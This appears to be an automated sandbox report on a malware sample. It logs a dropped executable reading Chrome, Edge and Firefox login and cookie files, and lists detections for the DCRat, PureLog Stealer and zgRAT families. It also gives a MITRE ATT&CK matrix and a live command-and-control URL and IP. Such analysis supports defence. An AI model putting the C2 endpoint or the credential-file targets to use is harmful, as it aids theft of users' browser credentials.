Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\AppData\Local\Application Data\Google\Chrome\User Data\Default\Login Data-journal
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Google\Chrome\User Data\Local State
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\AppData\Local\Application Data\Google\Chrome\User Data\Default\Login Data For Account-journal
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies-journal
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\AppData\Local\Application Data\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account-journal
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\Local Settings\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Cookies
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data-journal
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data-journal
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data-journal
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data-journal
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data-journal
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\Local Settings\Application Data\Microsoft\Edge\User Data\Default\Login Data-journal
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\Local Settings\Google\Chrome\User Data\Default\Login Data For Account
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\Local Settings\Google\Chrome\User Data\Default\Login Data
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account-journal
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data-journal
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data-journal
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\Local Settings\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\Local Settings\Application Data\Google\Chrome\User Data\Default\Login Data For Account-journal
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\AppData\Local\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\Local Settings\Application Data\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account-journal
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data

Remote Access Functionality

Yara detected DCRat

Source: Yara match	File source: 00000005.00000002.1930693014.00000000137F7000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000002A.00000002.3042679176.000000000314D000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: serverBrokerperfMonitor.exe PID: 7580, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: uAsLgsGzSk.exe PID: 7860, type: MEMORYSTR

Yara detected PureLog Stealer

Source: Yara match	File source: hz7DzW2Yop.exe, type: SAMPLE
Source: Yara match	File source: 0.3.hz7DzW2Yop.exe.6a4eee9.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.hz7DzW2Yop.exe.6250ee9.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.0.serverBrokerperfMonitor.exe.fe0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.hz7DzW2Yop.exe.6a4eee9.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.hz7DzW2Yop.exe.6250ee9.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000003.1669057871.000000000620B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1669587198.0000000006A09000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000000.1829997271.0000000000FE2000.00000002.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: C:\Program Files (x86)\Windows Defender\en-GB\uAsLgsGzSk.exe, type: DROPPED
Source: Yara match	File source: C:\Recovery\SystemSettings.exe, type: DROPPED
Source: Yara match	File source: C:\HyperWebbroker\serverBrokerperfMonitor.exe, type: DROPPED

Yara detected zgRAT

Source: Yara match	File source: hz7DzW2Yop.exe, type: SAMPLE
Source: Yara match	File source: 0.3.hz7DzW2Yop.exe.6a4eee9.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.hz7DzW2Yop.exe.6250ee9.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.0.serverBrokerperfMonitor.exe.fe0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.hz7DzW2Yop.exe.6a4eee9.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.hz7DzW2Yop.exe.6250ee9.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: C:\Program Files (x86)\Windows Defender\en-GB\uAsLgsGzSk.exe, type: DROPPED
Source: Yara match	File source: C:\Recovery\SystemSettings.exe, type: DROPPED
Source: Yara match	File source: C:\HyperWebbroker\serverBrokerperfMonitor.exe, type: DROPPED

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	11 Scripting	Valid Accounts	241 Windows Management Instrumentation	11 Scripting	1 DLL Side-Loading	11 Disable or Modify Tools	1 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	12 Process Injection	1 Deobfuscate/Decode Files or Information	LSASS Memory	3 File and Directory Discovery	Remote Desktop Protocol	2 Data from Local System	1 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	3 Obfuscated Files or Information	Security Account Manager	167 System Information Discovery	SMB/Windows Admin Shares	1 Clipboard Data	11 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 Command and Scripting Interpreter	Login Hook	Login Hook	1 Software Packing	NTDS	371 Security Software Discovery	Distributed Component Object Model	Input Capture	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	2 Process Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	132 Masquerading	Cached Domain Credentials	261 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	261 Virtualization/Sandbox Evasion	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	12 Process Injection	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
hz7DzW2Yop.exe	68%	ReversingLabs	ByteCode-MSIL.Trojan.Uztuby
hz7DzW2Yop.exe	60%	Virustotal		Browse
hz7DzW2Yop.exe	100%	Avira	VBS/Runner.VPG
hz7DzW2Yop.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Program Files (x86)\Windows Defender\en-GB\uAsLgsGzSk.exe	100%	Avira	HEUR/AGEN.1323342
C:\Recovery\SystemSettings.exe	100%	Avira	HEUR/AGEN.1323342
C:\HyperWebbroker\kC1qNwulObrDTKeFv7nRu.vbe	100%	Avira	VBS/Runner.VPG
C:\Users\user\Desktop\cIDyHnkk.log	100%	Avira	TR/Agent.jbwuj
C:\Program Files (x86)\Windows Defender\en-GB\uAsLgsGzSk.exe	100%	Avira	HEUR/AGEN.1323342
C:\HyperWebbroker\serverBrokerperfMonitor.exe	100%	Avira	HEUR/AGEN.1323342
C:\Users\user\Desktop\FyhuXVvF.log	100%	Avira	TR/AVI.Agent.updqb
C:\Users\user\AppData\Local\Temp\2K3wfCcSpW.bat	100%	Avira	BAT/Delbat.C
C:\Users\user\Desktop\hnxxzxgb.log	100%	Avira	TR/AVI.Agent.updqb
C:\Users\user\Desktop\LqKTzAAu.log	100%	Joe Sandbox ML
C:\Program Files (x86)\Windows Defender\en-GB\uAsLgsGzSk.exe	100%	Joe Sandbox ML
C:\Recovery\SystemSettings.exe	100%	Joe Sandbox ML
C:\Users\user\Desktop\IitSDvGY.log	100%	Joe Sandbox ML
C:\Program Files (x86)\Windows Defender\en-GB\uAsLgsGzSk.exe	100%	Joe Sandbox ML
C:\HyperWebbroker\serverBrokerperfMonitor.exe	100%	Joe Sandbox ML
C:\Users\user\Desktop\NVLRgsWM.log	100%	Joe Sandbox ML
C:\Users\user\Desktop\HupKRiKa.log	100%	Joe Sandbox ML
C:\HyperWebbroker\serverBrokerperfMonitor.exe	68%	ReversingLabs	ByteCode-MSIL.Trojan.DCRat
C:\Program Files (x86)\Windows Defender\en-GB\uAsLgsGzSk.exe	68%	ReversingLabs	ByteCode-MSIL.Trojan.DCRat
C:\Recovery\SystemSettings.exe	68%	ReversingLabs	ByteCode-MSIL.Trojan.DCRat
C:\Recovery\uAsLgsGzSk.exe	68%	ReversingLabs	ByteCode-MSIL.Trojan.DCRat
C:\Users\user\Desktop\CvvLBlqK.log	25%	ReversingLabs
C:\Users\user\Desktop\FyhuXVvF.log	50%	ReversingLabs	ByteCode-MSIL.Trojan.DCRat
C:\Users\user\Desktop\GvICsVKA.log	38%	ReversingLabs	ByteCode-MSIL.Trojan.Generic
C:\Users\user\Desktop\HupKRiKa.log	5%	ReversingLabs
C:\Users\user\Desktop\IitSDvGY.log	16%	ReversingLabs
C:\Users\user\Desktop\JwbtnRPV.log	8%	ReversingLabs
C:\Users\user\Desktop\LqKTzAAu.log	5%	ReversingLabs
C:\Users\user\Desktop\NVLRgsWM.log	29%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\Desktop\QdcRcxPi.log	8%	ReversingLabs
C:\Users\user\Desktop\cIDyHnkk.log	50%	ReversingLabs	ByteCode-MSIL.Trojan.Generic
C:\Users\user\Desktop\eIxzTFKJ.log	25%	ReversingLabs
C:\Users\user\Desktop\hnxxzxgb.log	50%	ReversingLabs	ByteCode-MSIL.Trojan.DCRat
C:\Users\user\Desktop\htcPaTVC.log	16%	ReversingLabs
C:\Users\user\Desktop\maPwcuvP.log	25%	ReversingLabs
C:\Users\user\Desktop\mlFoDzaq.log	9%	ReversingLabs
C:\Users\user\Desktop\qTMMgMAe.log	50%	ReversingLabs	ByteCode-MSIL.Trojan.Generic
C:\Users\user\Desktop\qeoNTMEG.log	17%	ReversingLabs
C:\Users\user\Desktop\vJjMMWBx.log	9%	ReversingLabs
C:\Users\user\Desktop\vPOensqX.log	29%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\Desktop\xRAMIbuT.log	17%	ReversingLabs
C:\Users\user\Desktop\zHJVyCcw.log	25%	ReversingLabs
C:\Users\user\Desktop\zIxCDFUn.log	38%	ReversingLabs	ByteCode-MSIL.Trojan.Generic
C:\Windows\ShellExperiences\uAsLgsGzSk.exe	68%	ReversingLabs	ByteCode-MSIL.Trojan.DCRat

Source	Detection	Scanner	Label
https://go.microP	0%	Avira URL Cloud	safe
http://www.t.com/pk	0%	Avira URL Cloud	safe
http://89.23.100.242/5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php	0%	Avira URL Cloud	safe
https://go.microPackageManagementp	0%	Avira URL Cloud	safe
http://89.23.100.242/5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi	0%	Avira URL Cloud	safe
http://89.23.100.242	0%	Avira URL Cloud	safe

Name	Malicious	Antivirus Detection	Reputation
http://89.23.100.242/5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://go.microP	powershell.exe, 0000001C.00000002.2903142161.000001FE9F3F4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://nuget.org/NuGet.exe	powershell.exe, 00000015.00000002.2768943723.000001C0AB4F5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.2748189605.000002586F235000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000018.00000002.2708101796.0000014FB13A5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001A.00000002.2554456806.0000020110075000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001C.00000002.2710524379.000001FE972C6000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.t.com/pk	powershell.exe, 0000001A.00000002.2818911280.0000020171DE3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://pesterbdd.com/images/Pester.png	powershell.exe, 0000001C.00000002.2040152046.000001FE87479000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/soap/encoding/	powershell.exe, 00000015.00000002.2057907934.000001C09B6A9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.2061740190.000002585F3E8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000018.00000002.2053081962.0000014FA1558000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001A.00000002.2021592842.0000020100228000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001C.00000002.2040152046.000001FE87479000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 0000001C.00000002.2040152046.000001FE87479000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.microsoft.co	powershell.exe, 0000001A.00000002.2801807600.0000020171A60000.00000004.00000020.00020000.00000000.sdmp	false		high
https://contoso.com/License	powershell.exe, 0000001C.00000002.2710524379.000001FE972C6000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.mic	powershell.exe, 00000016.00000002.2966338477.00000258775C0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://contoso.com/Icon	powershell.exe, 0000001C.00000002.2710524379.000001FE972C6000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	uAsLgsGzSk.exe, 0000002A.00000002.3042679176.000000000314D000.00000004.00000800.00020000.00000000.sdmp, uAsLgsGzSk.exe, 0000002A.00000002.3042679176.0000000004E43000.00000004.00000800.00020000.00000000.sdmp, uAsLgsGzSk.exe, 0000002A.00000002.3042679176.0000000003FFA000.00000004.00000800.00020000.00000000.sdmp	false		high
http://89.23.100.242/5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi	uAsLgsGzSk.exe, 0000002A.00000002.3042679176.000000000314D000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	uAsLgsGzSk.exe, 0000002A.00000002.3042679176.000000000314D000.00000004.00000800.00020000.00000000.sdmp, uAsLgsGzSk.exe, 0000002A.00000002.3042679176.0000000004E43000.00000004.00000800.00020000.00000000.sdmp, uAsLgsGzSk.exe, 0000002A.00000002.3042679176.0000000003FFA000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	uAsLgsGzSk.exe, 0000002A.00000002.3042679176.0000000004E43000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/Pester/Pester	powershell.exe, 0000001C.00000002.2040152046.000001FE87479000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/products/firefox	uAsLgsGzSk.exe, 0000002A.00000002.3042679176.0000000004E43000.00000004.00000800.00020000.00000000.sdmp	false		high
http://89.23.100.242	uAsLgsGzSk.exe, 0000002A.00000002.3042679176.00000000034A0000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://crl.m	powershell.exe, 0000001A.00000002.2818911280.0000020171E4C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://go.microPackageManagementp	powershell.exe, 0000001C.00000002.2903142161.000001FE9F3F4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/wsdl/	powershell.exe, 00000015.00000002.2057907934.000001C09B6A9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.2061740190.000002585F3E8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000018.00000002.2053081962.0000014FA1558000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001A.00000002.2021592842.0000020100228000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001C.00000002.2040152046.000001FE87479000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/	powershell.exe, 0000001C.00000002.2710524379.000001FE972C6000.00000004.00000800.00020000.00000000.sdmp	false		high
https://nuget.org/nuget.exe	powershell.exe, 00000015.00000002.2768943723.000001C0AB4F5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.2748189605.000002586F235000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000018.00000002.2708101796.0000014FB13A5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001A.00000002.2554456806.0000020110075000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001C.00000002.2710524379.000001FE972C6000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.micft.cMicRosof	powershell.exe, 00000016.00000002.2966338477.00000258775C0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://aka.ms/pscore68	powershell.exe, 00000015.00000002.2057907934.000001C09B481000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.2061740190.000002585F1C1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000018.00000002.2053081962.0000014FA1331000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001A.00000002.2021592842.0000020100001000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001C.00000002.2040152046.000001FE87251000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	serverBrokerperfMonitor.exe, 00000005.00000002.1900253467.000000000374E000.00000004.00000800.00020000.00000000.sdmp, serverBrokerperfMonitor.exe, 00000005.00000002.1900253467.0000000003A3A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000015.00000002.2057907934.000001C09B481000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.2061740190.000002585F1C1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000018.00000002.2053081962.0000014FA1331000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001A.00000002.2021592842.0000020100001000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001C.00000002.2040152046.000001FE87251000.00000004.00000800.00020000.00000000.sdmp, uAsLgsGzSk.exe, 0000002A.00000002.3042679176.000000000314D000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
89.23.100.242	unknown	Russian Federation		48687	MAXITEL-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1587336
Start date and time:	2025-01-10 07:56:08 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 9m 56s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	46
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	hz7DzW2Yop.exe renamed because original name is a hash value
